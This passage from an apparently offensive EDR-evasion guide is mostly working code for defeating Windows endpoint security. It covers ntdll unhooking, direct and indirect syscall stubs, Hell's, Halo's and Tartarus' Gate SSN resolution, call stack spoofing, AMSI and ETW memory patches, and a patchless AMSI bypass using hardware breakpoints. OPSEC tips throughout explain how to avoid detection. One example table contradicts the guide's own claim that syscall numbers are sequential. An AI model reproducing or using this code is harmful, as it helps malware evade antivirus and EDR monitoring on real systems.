        printf("[-] CreateProcessW failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[*] Suspended process spawned. PID: %lu\n", pi.dwProcessId);

    // ── Step 3: Get ntdll base in remote process ─────────────
    // ntdll is always at same base address (ASLR doesn't apply to ntdll 
    // across processes — it's the same mapping via SEC_IMAGE sharing)
    HMODULE local_ntdll = GetModuleHandleA("ntdll.dll");
    LPVOID  remote_ntdll_base = local_ntdll;  // Same VA (shared section)

    // ── Step 4: Get ntdll size from local copy ─────────────────
    MODULEINFO mi = {0};
    GetModuleInformation(
        GetCurrentProcess(), local_ntdll, &mi, sizeof(mi)
    );
    SIZE_T ntdll_size = mi.SizeOfImage;
    printf("[*] ntdll size: 0x%zx\n", ntdll_size);

    // ── Step 5: Allocate buffer and read clean ntdll ──────────
    LPVOID clean_ntdll = VirtualAlloc(
        NULL, ntdll_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );
    if (!clean_ntdll) {
        TerminateProcess(pi.hProcess, 0);
        return FALSE;
    }

    SIZE_T bytes_read = 0;
    if (!ReadProcessMemory(
            pi.hProcess, remote_ntdll_base,
            clean_ntdll, ntdll_size, &bytes_read))
    {
        printf("[-] ReadProcessMemory failed: %lu\n", GetLastError());
        VirtualFree(clean_ntdll, 0, MEM_RELEASE);
        TerminateProcess(pi.hProcess, 0);
        return FALSE;
    }
    printf("[*] Read %zu bytes of clean ntdll\n", bytes_read);

    // ── Step 6: Extract .text section from both ───────────────
    IMAGE_SECTION_HEADER* clean_text_sec  = find_text_section(clean_ntdll);
    IMAGE_SECTION_HEADER* hooked_text_sec = find_text_section(local_ntdll);
    if (!clean_text_sec || !hooked_text_sec) {
        printf("[-] .text section not found\n");
        goto cleanup;
    }

    LPVOID clean_text  = (BYTE*)clean_ntdll  + clean_text_sec->VirtualAddress;
    LPVOID hooked_text = (BYTE*)local_ntdll  + hooked_text_sec->VirtualAddress;
    SIZE_T text_size   = clean_text_sec->Misc.VirtualSize;

    printf("[*] Copying clean .text (0x%zx bytes) over hooked ntdll\n", text_size);

    // ── Step 7: Overwrite hooked ntdll with clean bytes ────────
    DWORD old_protect;
    VirtualProtect(hooked_text, text_size, PAGE_EXECUTE_READWRITE, &old_protect);
    memcpy(hooked_text, clean_text, text_size);
    VirtualProtect(hooked_text, text_size, old_protect, &old_protect);

    printf("[+] ntdll unhooked via Perun's Fart technique\n");

cleanup:
    VirtualFree(clean_ntdll, 0, MEM_RELEASE);
    TerminateProcess(pi.hProcess, 0);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return TRUE;
}

[OPSEC] Spawning a process generates telemetry (process creation events). Use a process that already exists (open a handle via OpenProcess) rather than creating a new one, or use a Windows process that spawns as a normal part of the system (e.g., in a service context, spawn conhost.exe).


9. Bypass 4 — Direct Syscalls

What it means: Skip ntdll entirely. Instead of calling ntdll!NtAllocateVirtualMemory (which goes through the EDR hook), write the syscall stub yourself in assembly inside your own code. The kernel receives the syscall directly — the EDR hook in ntdll is never triggered.

Normal call:
  Your code → ntdll!NtAllocateVirtualMemory → [EDR HOOK] → syscall → kernel

Direct syscall:
  Your code → [YOUR CUSTOM STUB: mov eax, SSN / syscall] → kernel
  EDR hook: Never reached. EDR is blind.

9.1 Direct Syscall Stub (MASM x64)

; direct_syscalls.asm — x64 MASM direct syscall stubs
; Compile: ml64 /c direct_syscalls.asm

.code

; ── NtAllocateVirtualMemory — SSN 0x18 (Windows 10 21H2) ──────
; SSN varies by OS version! (see §10 Hell's Gate for dynamic resolution)
NtAllocateVirtualMemory PROC
    mov r10, rcx          ; syscall calling convention (rcx → r10)
    mov eax, 18h          ; SSN — hardcoded (fragile!)
    syscall
    ret
NtAllocateVirtualMemory ENDP

; ── NtWriteVirtualMemory ──────────────────────────────────────
NtWriteVirtualMemory PROC
    mov r10, rcx
    mov eax, 3Ah          ; SSN for NtWriteVirtualMemory
    syscall
    ret
NtWriteVirtualMemory ENDP

; ── NtCreateThreadEx ─────────────────────────────────────────
NtCreateThreadEx PROC
    mov r10, rcx
    mov eax, 0C2h         ; SSN for NtCreateThreadEx
    syscall
    ret
NtCreateThreadEx ENDP

; ── NtProtectVirtualMemory ───────────────────────────────────
NtProtectVirtualMemory PROC
    mov r10, rcx
    mov eax, 50h
    syscall
    ret
NtProtectVirtualMemory ENDP

; ── NtOpenProcess ────────────────────────────────────────────
NtOpenProcess PROC
    mov r10, rcx
    mov eax, 26h
    syscall
    ret
NtOpenProcess ENDP

END

9.2 Direct Syscall in C (Inline ASM — MSVC)

// direct_syscall_inline.c — Direct syscall without external .asm file
// Uses __asm blocks (MSVC) or __asm__ (GCC/MinGW)

#include <windows.h>

// Windows 10 22H2 SSNs (change for other versions — see §10 for dynamic)
#define SSN_NtAllocateVirtualMemory  0x18
#define SSN_NtWriteVirtualMemory     0x3A
#define SSN_NtProtectVirtualMemory   0x50
#define SSN_NtCreateThreadEx         0xC2
#define SSN_NtOpenProcess            0x26

// ── Inline syscall wrapper (GCC/MinGW x64) ─────────────────────
static inline NTSTATUS syscall2(DWORD ssn,
                                 HANDLE h, PVOID* base,
                                 ULONG_PTR zbits, PSIZE_T size,
                                 ULONG type, ULONG protect) {
    NTSTATUS status;
    __asm__ __volatile__ (
        "mov %%rcx, %%r10\n\t"   // syscall calling convention
        "mov %1, %%eax\n\t"      // SSN
        "syscall\n\t"
        "mov %%eax, %0\n\t"
        : "=r"(status)
        : "r"(ssn)
        : "rax", "r10", "rcx", "r11"
    );
    return status;
}

// ── Usage example ───────────────────────────────────────────────
// (calling NtAllocateVirtualMemory directly without going through ntdll)
LPVOID direct_alloc(SIZE_T size, ULONG protect) {
    LPVOID base = NULL;
    NTSTATUS status;

    // Direct syscall — EDR hook in ntdll NEVER reached
    __asm__ __volatile__ (
        "mov %%rcx, %%r10;"
        "mov %1, %%eax;"
        "syscall;"
        : "=a"(status)
        : "i"(SSN_NtAllocateVirtualMemory),
          "c"((HANDLE)-1),   // ProcessHandle = current process
          "d"(&base),        // BaseAddress
          "r"((ULONG_PTR)0), // ZeroBits
          "r"(&size),        // RegionSize
          "r"((ULONG)MEM_COMMIT | MEM_RESERVE), // AllocationType
          "r"(protect)       // Protect
        : "r10", "r11"
    );
    return (NT_SUCCESS(status)) ? base : NULL;
}

[DETECT] EDR detection of direct syscalls: The syscall instruction executing from non-ntdll memory is a massive IOC. Modern EDRs use kernel-mode NtTraceEvent (ETW-TI) to check the return address when a syscall fires — if it points to a RWX region or a PE that isn't ntdll, it's flagged. Solution: indirect syscalls (§12).


10. Bypass 5 — Hell's Gate (Dynamic SSN Resolution)

What it means: Hardcoded SSNs (like mov eax, 0x18) break across Windows versions. Hell's Gate parses the ntdll export table at runtime to find the actual SSN for each Nt* function by reading it from the unhooked stub bytes. This makes syscall stubs portable across OS versions.

[TOOL] Hell's Gate: https://github.com/am0nsec/HellsGate

10.1 Hell's Gate — Read SSN from ntdll

// hells_gate.c — Dynamic SSN resolution from ntdll
// If the function is NOT hooked: reads SSN from bytes
// If hooked: falls through to Halo's Gate (§11)

#include <windows.h>
#include <stdio.h>

// Standard x64 Nt* stub pattern (first 4 bytes if clean):
// 4C 8B D1       mov r10, rcx
// B8 XX XX XX XX mov eax, <SSN>  ← SSN is at bytes [4..7]

// ── Get SSN by parsing function bytes ─────────────────────────
WORD HellsGate(PVOID func_addr) {
    PBYTE p = (PBYTE)func_addr;

    // Check for clean syscall stub pattern
    // 4C 8B D1 B8 = mov r10, rcx / mov eax, SSN
    if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xB8) {
        // SSN is the WORD at offset 4 (little-endian DWORD, but SSN fits in WORD)
        return *(WORD*)(p + 4);
    }

    // Function is hooked — return 0 to signal fallback to Halo's Gate
    return 0;
}

// ── Find function address by export parsing (no GetProcAddress!) ─
PVOID get_nt_func(HMODULE ntdll, const char* func_name) {
    IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)ntdll;
    IMAGE_NT_HEADERS* nt  = (IMAGE_NT_HEADERS*)((BYTE*)ntdll + dos->e_lfanew);
    IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(
        (BYTE*)ntdll + nt->OptionalHeader
            .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    DWORD* names    = (DWORD*)((BYTE*)ntdll + exp->AddressOfNames);
    WORD*  ordinals = (WORD* )((BYTE*)ntdll + exp->AddressOfNameOrdinals);
    DWORD* funcs    = (DWORD*)((BYTE*)ntdll + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        char* name = (char*)((BYTE*)ntdll + names[i]);
        if (strcmp(name, func_name) == 0)
            return (BYTE*)ntdll + funcs[ordinals[i]];
    }
    return NULL;
}

// ── Full usage: resolve SSN dynamically ───────────────────────
void demo_hells_gate() {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");

    PVOID fn_addr = get_nt_func(ntdll, "NtAllocateVirtualMemory");
    WORD  ssn     = HellsGate(fn_addr);

    if (ssn == 0) {
        printf("[!] Function is hooked — use Halo's Gate\n");
        // → fall through to §11
    } else {
        printf("[+] SSN for NtAllocateVirtualMemory: 0x%04X\n", ssn);
        // Now use ssn in direct syscall stub:
        // mov eax, ssn / syscall
    }
}

11. Bypass 6 — Halo's Gate & Tartarus' Gate

What it means: Hell's Gate fails when the target function is hooked (EDR overwrote the bytes with JMP, so SSN is unreadable). Halo's Gate looks at adjacent Nt* functions (the ones above and below in the export table) to infer the hooked function's SSN, since SSNs are sequential.

Nt* functions are ordered sequentially in the syscall table:
  NtAcceptConnectPort   → SSN 0x02
  NtAccessCheck         → SSN 0x00
  NtAllocateVirtualMemory → SSN 0x18  ← HOOKED (can't read)
  NtAllocateVirtualMemoryEx → SSN 0x89

If NtAllocateVirtualMemory is hooked:
  Read SSN from NtAllocateVirtualMemoryEx (SSN 0x89)
  Then: target SSN = neighbor_SSN ± offset (based on export table order)

11.1 Halo's Gate — Neighbor-Based SSN Inference

// halos_gate.c — Infer SSN from neighboring unhooked functions

#include <windows.h>
#include <stdio.h>

// ── Get SSN from adjacent syscall stub ────────────────────────
// Walk ±N neighbors until we find an unhooked one
// neighbor_offset = how many entries up/down we moved
WORD HalosGate(PVOID func_addr) {
    PBYTE p = (PBYTE)func_addr;

    // Check if already clean
    if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xB8)
        return *(WORD*)(p + 4);

    // Walk neighbors: each Nt* stub is exactly 0x20 (32) bytes in ntdll
    // (varies slightly by version — check empirically)
    for (int i = 1; i <= 500; i++) {
        // Check stub ABOVE target
        PBYTE up = p - (0x20 * i);
        if (up[0] == 0x4C && up[1] == 0x8B && up[2] == 0xD1 && up[3] == 0xB8) {
            WORD neighbor_ssn = *(WORD*)(up + 4);
            return neighbor_ssn + i;  // Our SSN = neighbor + distance
        }
        // Check stub BELOW target
        PBYTE down = p + (0x20 * i);
        if (down[0] == 0x4C && down[1] == 0x8B && down[2] == 0xD1 && down[3] == 0xB8) {
            WORD neighbor_ssn = *(WORD*)(down + 4);
            return neighbor_ssn - i;  // Our SSN = neighbor - distance
        }
    }
    return 0;  // Completely failed
}

11.2 Tartarus' Gate — Handle Hooked Neighbors

// tartarus_gate.c — Extended Halo's Gate that handles all hook types
// Handles: near JMP (E9), INT3 (CC), indirect JMP (FF 25)

#define STUB_SIZE 0x20   // Size of each Nt* stub in ntdll

WORD TartarusGate(PVOID func_addr) {
    PBYTE p = (PBYTE)func_addr;

    // ── Macros to detect common hook types ────────────────────
    #define IS_CLEAN(ptr)   ((ptr)[0]==0x4C && (ptr)[1]==0x8B && \
                             (ptr)[2]==0xD1 && (ptr)[3]==0xB8)
    #define IS_HOOKED(ptr)  ((ptr)[0]==0xE9 || (ptr)[0]==0xCC || \
                             ((ptr)[0]==0xFF && (ptr)[1]==0x25))

    if (IS_CLEAN(p)) return *(WORD*)(p + 4);

    for (int i = 1; i <= 500; i++) {
        PBYTE up   = p - (STUB_SIZE * i);
        PBYTE down = p + (STUB_SIZE * i);

        if (IS_CLEAN(up) && !IS_HOOKED(up))
            return *(WORD*)(up + 4) + i;

        if (IS_CLEAN(down) && !IS_HOOKED(down))
            return *(WORD*)(down + 4) - i;
    }
    return 0;
    #undef IS_CLEAN
    #undef IS_HOOKED
}

[TOOL] SysWhispers2/3 — Automated syscall stub generator using Hell's/Halo's/Tartarus' Gate: https://github.com/klezVirus/SysWhispers3

11.3 SysWhispers3 Usage

# ── Install SysWhispers3 ───────────────────────────────────────
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
pip install -r requirements.txt

# ── Generate syscall stubs for specific functions ──────────────
python syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,\
NtCreateThreadEx,NtProtectVirtualMemory,NtOpenProcess \
    --out-file syscalls

# ── Output files ──────────────────────────────────────────────
# syscalls.h   — header with function declarations
# syscalls.c   — resolver code (Hell's/Halo's/Tartarus' Gate)
# syscalls.asm — x64 MASM stubs (link into your project)

# ── Compile with stubs ────────────────────────────────────────
# MSVC:
# ml64 /c syscalls.asm
# cl.exe loader.c syscalls.c syscalls.obj /Fe:loader.exe

# MinGW:
python syswhispers.py --functions ... --out-file syscalls --compiler mingw
x86_64-w64-mingw32-gcc loader.c syscalls.c -o loader.exe

# ── Indirect syscall mode (SysWhispers3 default) ───────────────
python syswhispers.py \
    --functions NtAllocateVirtualMemory,NtCreateThreadEx \
    --indirect \
    --out-file syscalls_indirect

12. Bypass 7 — Indirect Syscalls

What it means: Direct syscalls execute the syscall instruction from your own code (non-ntdll memory) — EDRs detect this via call stack analysis. Indirect syscalls fix this by jumping into ntdll at the syscall; ret gadget that exists inside each Nt function, so the syscall instruction fires from within ntdll's memory*, making the call stack look legitimate.

Direct syscall:
  [Your loader .text] → mov eax, SSN → syscall  ← kernel sees non-ntdll return addr

Indirect syscall:
  [Your loader .text] → mov eax, SSN → jmp [ntdll_syscall_gadget] → (syscall; ret inside ntdll)
                                                                          ↑
                                                          kernel sees ntdll return address
                                                          → looks like a normal ntdll call

12.1 Indirect Syscall Implementation (MASM)

; indirect_syscalls.asm — Indirect syscall stubs
; SSN stored in a global, gadget address in another global
; Both set at runtime via Hell's/Halo's Gate + gadget scan

.data
    ; Filled at runtime (Hell's Gate SSN + gadget address)
    g_ssn    DWORD  0
    g_gadget QWORD  0

.code

; ── Find syscall;ret gadget in ntdll ──────────────────────────
; Call this once per function to initialize g_ssn and g_gadget

; ── Indirect syscall wrapper ──────────────────────────────────
; Called after g_ssn and g_gadget are initialized
DoSyscall PROC
    mov r10, rcx          ; syscall calling convention
    mov eax, [g_ssn]      ; SSN (resolved via Hell's Gate)
    jmp  [g_gadget]       ; jump to ntdll's "syscall;ret" gadget
                          ; syscall fires FROM ntdll memory → stealthy
DoSyscall ENDP

END

12.2 Finding the syscall;ret Gadget in ntdll (C)

// find_gadget.c — Locate "syscall; ret" (0F 05 C3) inside ntdll .text

#include <windows.h>

// Find a "syscall; ret" gadget inside ntdll's .text section
// Returns: address of the syscall instruction (not ret)
LPVOID find_syscall_ret_gadget(HMODULE ntdll) {
    IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)ntdll;
    IMAGE_NT_HEADERS* nt  = (IMAGE_NT_HEADERS*)((BYTE*)ntdll + dos->e_lfanew);
    IMAGE_SECTION_HEADER* sec = IMAGE_FIRST_SECTION(nt);

    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        if (memcmp(sec[i].Name, ".text", 5) == 0) {
            BYTE*  text      = (BYTE*)ntdll + sec[i].VirtualAddress;
            SIZE_T text_size = sec[i].Misc.VirtualSize;

            // Scan for: 0F 05 C3 (syscall; ret)
            for (SIZE_T j = 0; j < text_size - 2; j++) {
                if (text[j]   == 0x0F &&    // syscall
                    text[j+1] == 0x05 &&
                    text[j+2] == 0xC3)      // ret
                {
                    return &text[j];  // Return address of syscall instruction
                }
            }
        }
    }
    return NULL;
}

// ── Runtime setup: initialize SSN + gadget for NtAllocateVirtualMemory ──
LPVOID g_gadget = NULL;
DWORD  g_ssn    = 0;

BOOL init_indirect_syscall(const char* func_name) {
    HMODULE ntdll    = GetModuleHandleA("ntdll.dll");
    LPVOID  func     = GetProcAddress(ntdll, func_name);

    // Resolve SSN (Hell's Gate / Halo's Gate)
    g_ssn = HalosGate(func);  // From §10/§11

    // Find gadget
    g_gadget = find_syscall_ret_gadget(ntdll);

    if (!g_ssn || !g_gadget) {
        printf("[-] Failed to init indirect syscall for %s\n", func_name);
        return FALSE;
    }

    printf("[+] SSN: 0x%04X | Gadget: 0x%p\n", g_ssn, g_gadget);
    return TRUE;
}

[OPSEC] Indirect syscalls + stack spoofing = the gold standard. Indirect syscalls make the syscall fire from ntdll, but the call stack before ntdll still shows your loader's return address. Add call stack spoofing (§13) to hide that too.


13. Bypass 8 — Call Stack Spoofing

What it means: EDRs inspect the thread's call stack when a sensitive API is called. If the call chain shows a return address pointing to a private RWX allocation or an anonymous region (not a mapped PE), it's a massive red flag. Call stack spoofing manipulates the stack's return addresses to make the call appear to originate from legitimate Windows DLLs.

Without spoofing (EDR sees):
  [kernel] → ntdll!NtAllocateVirtualMemory
    ← return: loader.exe private memory (anonymous RWX)  ← FLAGGED

With call stack spoofing (EDR sees):
  [kernel] → ntdll!NtAllocateVirtualMemory
    ← return: ntdll!RtlUserThreadStart+0x21  ← Looks legitimate
    ← return: kernel32!BaseThreadInitThunk+0x14
    ← return: (0x0000 — clean stack terminator)

13.1 Basic Return Address Overwrite

// stack_spoof_basic.c — Overwrite return address on stack
// WARNING: naive implementation — works for sleep-time scanning evasion
// For call-time detection, use synthetic frame spoofing (§13.2)

#include <windows.h>
#include <stdio.h>

// ── Find legitimate return address in ntdll ────────────────────
LPVOID find_ntdll_ret_addr() {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    // Find: RtlUserThreadStart+0x21 (common benign frame)
    // This address is in every normal thread's call stack
    LPVOID rts = GetProcAddress(ntdll, "RtlUserThreadStart");
    return (BYTE*)rts + 0x21;  // Offset to a safe return point
}

// ── Spoof return address before sensitive call ─────────────────
// Overwrites the caller's return address on stack before NtAllocateVirtualMemory
// [ADVANCED] — requires careful stack frame calculation
// See: https://github.com/mgeeky/ThreadStackSpoofer for full impl
void call_with_spoofed_stack(void* func, ...) {
    LPVOID legit_ret = find_ntdll_ret_addr();

    // Get current RSP — return address of caller is at [RSP+8]
    // (or [RSP] if called directly)
    ULONG_PTR* stack_ret_addr;

    __asm__ __volatile__ (
        "mov %%rsp, %0"
        : "=r"(stack_ret_addr)
    );
    // stack_ret_addr[1] = return address of our caller
    // Overwrite with legitimate ntdll address
    ULONG_PTR original_ret = stack_ret_addr[1];
    stack_ret_addr[1] = (ULONG_PTR)legit_ret;

    // → Now make the sensitive call
    // → After call returns, restore original return address
    stack_ret_addr[1] = original_ret;
}

13.2 Synthetic Frame Spoofing (Advanced)

// synthetic_stack_spoof.c
// Builds a complete fake call stack using UNWIND_INFO to calculate
// exact frame sizes, placing legitimate return addresses at each level

// Key insight: Windows x64 stack walking uses UNWIND_INFO from .pdata
// We must build frames that match actual unwind records — simple
// return address overwrite fails modern EDR walk-and-validate

// Tools implementing this properly:
// - SilentMoonwalk: https://github.com/klezVirus/SilentMoonwalk
// - CallStackSpoofer: https://github.com/WithSecureLabs/CallStackSpoofer
// - ThreadStackSpoofer: https://github.com/mgeeky/ThreadStackSpoofer
// - DarkWidow (APC injection + stack spoofing): https://github.com/reveng007/DarkWidow

// The algorithm (pseudocode):
/*
1. Choose target call stack (e.g., a normal ntdll call chain)
   frames = [
       { dll="ntdll.dll",    offset=0x21,   func="RtlUserThreadStart" },
       { dll="kernel32.dll", offset=0x14,   func="BaseThreadInitThunk" },
   ]

2. For each frame, resolve absolute address:
   ret_addr = GetModuleHandleA(dll) + func_offset + offset

3. Parse UNWIND_INFO from .pdata for each function:
   - Determines how many bytes each function allocates on stack
   - We need this to calculate where each frame's return address sits

4. Build the fake stack from bottom (deepest) to top:
   - Write fake return addresses at computed RSP offsets
   - Place 0x0 at the final frame to terminate stack walk

5. Execute sensitive call with RSP pointing to fake stack
   - EDR walks stack: sees only legitimate ntdll/kernel32 return addresses
*/

// Reference implementation structure from SilentMoonwalk:
typedef struct _FRAME {
    ULONG_PTR dll_base;     // Base of the module this frame is in
    ULONG_PTR ret_addr;     // Calculated return address (dll_base + offset)
    ULONG_PTR stack_size;   // Stack frame size from UNWIND_INFO
} FRAME;

[TOOL] Call stack spoofing tools: - ThreadStackSpoofer — https://github.com/mgeeky/ThreadStackSpoofer - SilentMoonwalk — https://github.com/klezVirus/SilentMoonwalk - CallStackSpoofer — https://github.com/WithSecureLabs/CallStackSpoofer


14. Bypass 9 — AMSI Patching & Bypass

What it means: AMSI (Antimalware Scan Interface) is a Windows API that allows AV/EDR engines to scan content (PowerShell scripts, .NET assemblies, VBScript, etc.) before execution. EDRs hook into AMSI to catch malicious scripts even if they bypass on-disk detection. Bypassing AMSI is essential for C# tool execution (Rubeus, SharpHound, etc.).

AMSI Call Flow:
  PowerShell / .NET loads assembly
      │
      ▼
  amsi.dll!AmsiInitialize()        → Initializes AMSI session
  amsi.dll!AmsiScanBuffer()        → Submits content for scanning
      │                               ← EDR hooks here
      ▼
  AV/EDR engine scans the content
      │
      ▼
  AMSI_RESULT_CLEAN or AMSI_RESULT_DETECTED

14.1 Classic AMSI Patch (AmsiScanBuffer → Return 0)

// amsi_patch.cs — Classic AMSI bypass via memory patching
// Overwrites AmsiScanBuffer to return AMSI_RESULT_CLEAN immediately
// Detectable by EDRs that hash amsi.dll .text section

using System;
using System.Runtime.InteropServices;

class AMSIPatch {
    [DllImport("kernel32")] static extern IntPtr GetProcAddress(IntPtr h, string n);
    [DllImport("kernel32")] static extern IntPtr LoadLibrary(string n);
    [DllImport("kernel32")] static extern bool VirtualProtect(
        IntPtr addr, UIntPtr size, uint prot, out uint old);

    static void Patch() {
        IntPtr amsi = LoadLibrary("amsi.dll");
        IntPtr fn   = GetProcAddress(amsi, "AmsiScanBuffer");

        // Patch bytes: xor eax,eax / ret (returns 0 = AMSI_RESULT_CLEAN)
        byte[] patch = new byte[] { 0x31, 0xC0, 0xC3 };

        uint oldProtect;
        VirtualProtect(fn, (UIntPtr)patch.Length, 0x40, out oldProtect);
        Marshal.Copy(patch, 0, fn, patch.Length);
        VirtualProtect(fn, (UIntPtr)patch.Length, oldProtect, out oldProtect);

        Console.WriteLine("[+] AMSI patched (classic — detectable by memory scan)");
    }
}

14.2 AMSI Bypass via PowerShell Reflection

# amsi_bypass_reflection.ps1 — Bypass via .NET reflection
# Sets amsiInitFailed flag in the runtime context

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField(
    'amsiInitFailed',
    'NonPublic,Static'
).SetValue($null, $true)

# Alternative — context corruption method:
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiContext', 'NonPublic,Static')
$c = $b.GetValue($null)
[IntPtr]$d = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
$b.SetValue($null, $d)

# Force-fail method (corrupts scan result):
$r = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$r.GetField('amsiContext','NonPublic,Static').SetValue($null,[IntPtr]::Zero)

14.3 AMSI Context Corruption (C)

// amsi_context_corrupt.c
// Corrupt the AMSI context pointer → makes all scans return AMSI_RESULT_CLEAN
// Less detectable than patching AmsiScanBuffer bytes

#include <windows.h>

BOOL corrupt_amsi_context() {
    // Load amsi.dll if not loaded
    HMODULE amsi = LoadLibraryA("amsi.dll");
    if (!amsi) return FALSE;

    // Get AmsiScanBuffer address
    FARPROC scan_fn = GetProcAddress(amsi, "AmsiScanBuffer");

    // AmsiScanBuffer checks amsiContext at start:
    // mov rax, [amsiContext]    ; load context ptr
    // test rax, rax             ; NULL check
    // je fail_path              ; if NULL → return error (treated as clean)

    // Strategy: Find the amsiContext variable in amsi.dll's data section
    // and zero it out — all subsequent scans skip context and return clean

    // Actual implementation reads scan_fn bytecode to locate the 
    // RIP-relative address of amsiContext — requires disassembly
    // See: https://github.com/rasta-mouse/AmsiScanBufferBypass

    return TRUE;
}

[DETECT] AMSI bypass detection: EDRs scan amsi.dll's .text section bytes against known-good values. The classical xor eax, eax; ret patch is instantly detected. Use hardware breakpoint bypass (§16) for patchless AMSI bypass.


15. Bypass 10 — ETW Patching

What it means: ETW (Event Tracing for Windows) is the telemetry backbone for EDRs. It collects events about process activity, memory operations, and more. Patching ntdll!EtwEventWrite (the function that submits ETW events) blinds the EDR's telemetry pipeline for the current process.

ETW Call Flow:
  Your code runs (or EDR hook inspects call)
      │
      ▼
  ntdll!EtwEventWrite() / ntdll!NtTraceEvent()  ← patch here
      │
      ▼
  ETW subsystem → forwards events to registered providers
      │
      ▼
  EDR's monitoring service reads telemetry

15.1 ETW Patch via EtwEventWrite (C)

// etw_patch.c — Patch EtwEventWrite to suppress ETW telemetry

#include <windows.h>

BOOL patch_etw() {
    HMODULE ntdll   = GetModuleHandleA("ntdll.dll");
    LPVOID  etw_fn  = GetProcAddress(ntdll, "EtwEventWrite");

    if (!etw_fn) {
        printf("[-] EtwEventWrite not found\n");
        return FALSE;
    }

    // Patch with: ret  (0xC3)
    // Or: xor eax, eax; ret  (0x31 0xC0 0xC3)
    BYTE patch[] = { 0xC3 };  // ret — returns immediately, no event written

    DWORD old_protect;
    VirtualProtect(etw_fn, sizeof(patch), PAGE_EXECUTE_READWRITE, &old_protect);
    memcpy(etw_fn, patch, sizeof(patch));
    VirtualProtect(etw_fn, sizeof(patch), old_protect, &old_protect);

    printf("[+] EtwEventWrite patched — ETW telemetry suppressed\n");
    return TRUE;
}

15.2 ETW Patch via PowerShell

# Patch-ETW.ps1 — Disable ETW via PowerShell + reflection
# Patches EtwEventWrite in ntdll via P/Invoke

$code = @"
using System;
using System.Runtime.InteropServices;

public class ETWPatch {
    [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr h, string p);
    [DllImport("kernel32")] public static extern IntPtr GetModuleHandle(string m);
    [DllImport("kernel32")] public static extern bool VirtualProtect(
        IntPtr a, UIntPtr s, uint p, out uint o);

    public static void Patch() {
        IntPtr ntdll  = GetModuleHandle("ntdll.dll");
        IntPtr etwFn  = GetProcAddress(ntdll, "EtwEventWrite");
        uint oldProt;
        VirtualProtect(etwFn, (UIntPtr)1, 0x40, out oldProt);
        System.Runtime.InteropServices.Marshal.WriteByte(etwFn, 0xC3);
        VirtualProtect(etwFn, (UIntPtr)1, oldProt, out oldProt);
    }
}
"@

Add-Type -TypeDefinition $code
[ETWPatch]::Patch()
Write-Host "[+] ETW patched"

[DETECT] ETW patch detection: Like AMSI patching, byte-level ETW patches are detectable by memory scanning. Use hardware breakpoint bypass (§16) for patchless ETW suppression.


16. Bypass 11 — Patchless Bypass (Hardware Breakpoints + VEH)

What it means: Classic patching modifies memory — EDRs detect this by periodically hashing critical DLL sections. Patchless bypass uses hardware breakpoints (CPU debug registers Dr0-Dr3) combined with a Vectored Exception Handler (VEH). No memory is modified — the bypass is entirely transparent to memory scanners.

How it works:
  1. Register a Vectored Exception Handler (VEH)
  2. Set a hardware breakpoint (Dr0) on AmsiScanBuffer / EtwEventWrite
  3. When AmsiScanBuffer is called:
     ├─ CPU fires a EXCEPTION_SINGLE_STEP exception
     ├─ VEH catches it
     ├─ VEH modifies registers to fake a clean result:
     │   └─ RAX = 0 (AMSI_RESULT_CLEAN) / RIP = return address
     └─ VEH continues execution — function body never runs
  4. amsi.dll bytes: UNMODIFIED (no hash mismatch for EDR to detect)

16.1 Patchless AMSI Bypass via HWBP + VEH (C++)

// patchless_amsi.cpp — Hardware breakpoint AMSI bypass
// Derived from Turla Kazuar v3 loader technique
// No memory patching — fully transparent to memory scanners

#include <windows.h>
#include <amsi.h>
#include <stdio.h>

// ── Global state ──────────────────────────────────────────────
static LPVOID g_amsi_fn = NULL;   // AmsiScanBuffer address (HW BP target)
static LPVOID g_etw_fn  = NULL;   // EtwEventWrite address (optional)

// ── VEH Handler ───────────────────────────────────────────────
// Fires on EXCEPTION_SINGLE_STEP when CPU hits the HW breakpoint
LONG CALLBACK HwbpVehHandler(PEXCEPTION_POINTERS ep) {
    PEXCEPTION_RECORD   rec = ep->ExceptionRecord;
    PCONTEXT            ctx = ep->ContextRecord;

    if (rec->ExceptionCode == EXCEPTION_SINGLE_STEP) {

        // ── Check if breakpoint hit on AmsiScanBuffer ──────────
        if (g_amsi_fn && ctx->Rip == (DWORD64)g_amsi_fn) {
            // AmsiScanBuffer signature:
            // HRESULT AmsiScanBuffer(
            //   HAMSICONTEXT amsiContext,  → RCX
            //   PVOID buffer,              → RDX
            //   ULONG length,              → R8
            //   LPCWSTR contentName,       → R9
            //   HAMSISESSION amsiSession,  → [RSP+0x28]
            //   AMSI_RESULT* result        → [RSP+0x30]
            // )

            // Force result = AMSI_RESULT_CLEAN (0)
            AMSI_RESULT* result_ptr = *(AMSI_RESULT**)(ctx->Rsp + 0x30);
            if (result_ptr) {
                *result_ptr = AMSI_RESULT_CLEAN;
            }

            // Set return value to S_OK (0)
            ctx->Rax = S_OK;

            // Skip AmsiScanBuffer body — jump directly to return address
            ctx->Rip = *(DWORD64*)ctx->Rsp;  // RIP = [RSP] (return address)
            ctx->Rsp += 8;                    // Pop return address from stack

            // Clear Dr6 (hardware debug status register)
            ctx->Dr6 = 0;

            return EXCEPTION_CONTINUE_EXECUTION;
        }

        // ── Check if breakpoint hit on EtwEventWrite ───────────
        if (g_etw_fn && ctx->Rip == (DWORD64)g_etw_fn) {
